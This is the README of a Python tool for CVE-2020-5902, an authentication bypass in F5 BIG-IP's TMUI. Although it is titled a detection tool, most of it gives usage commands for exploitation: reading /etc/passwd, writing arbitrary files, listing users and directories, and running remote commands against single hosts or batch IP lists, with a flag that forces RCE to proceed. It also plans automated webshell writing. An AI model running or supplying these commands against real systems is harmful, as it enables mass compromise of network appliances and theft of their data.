F5 BIG-IP RCE (CVE-2020-5902) Vulnerability Detection Tool

Summary

On 20200706, the F5 BIG-IP TMUI RCE vulnerability was disclosed online.

The TMUI component (Traffic Management User Interface) of F5 BIG-IP has an authentication bypass vulnerability. This vulnerability arises from a difference between the URL parsed by Tomcat and request.getPathInfo(), allowing permission verification to be bypassed, unauthorized access to all functions of the TMUI module, and consequently reading/writing arbitrary files, command execution, etc.

For details, refer to F5 BIG-IP TMUI RCE Vulnerability (CVE-2020-5902) Reproduction and Notes

This tool supports single IP detection, batch IP detection, file read/write, listing authenticated users, listing directories, remote command execution, and hsqldb authentication bypass detection.

Quick start

pip install requests

help

python f5-bigip-rce-cve-2020-5902.py -h

poc check

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --check

batch poc check

python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --check -t 20 -s 10

read file

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --fileread "/etc/passwd"

save file

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --filepath "/tmp/xxx.txt" --filecontent "x"

list auth user

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --list-users

list directory

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --listdir "/tmp/"

RCE

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --rce id --still-exploit

batch RCE

python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --rce whoami --still-exploit -s 15 -t 20

hsqldb bypass check

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --bypass-hsqldb

batch hsqldb bypass check

python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --bypass-hsqldb

Note

For batch IPs, it is recommended to prefix with http:// or https://. If no protocol is provided, http:// will be added by default.

If conditions allow, it is recommended to add the --still-exploit parameter, which will proceed with RCE even if listing auth users fails, increasing the success rate.

TODO

1. Send multiple requests to increase batch success rate; efficiency trade-offs need to be considered.

2. Integrate hsqldb interface deserialization exploitation.

3. Add automated webshell writing.

Feedback

issues
lsablog
gmail：[email protected]
qq：[email protected]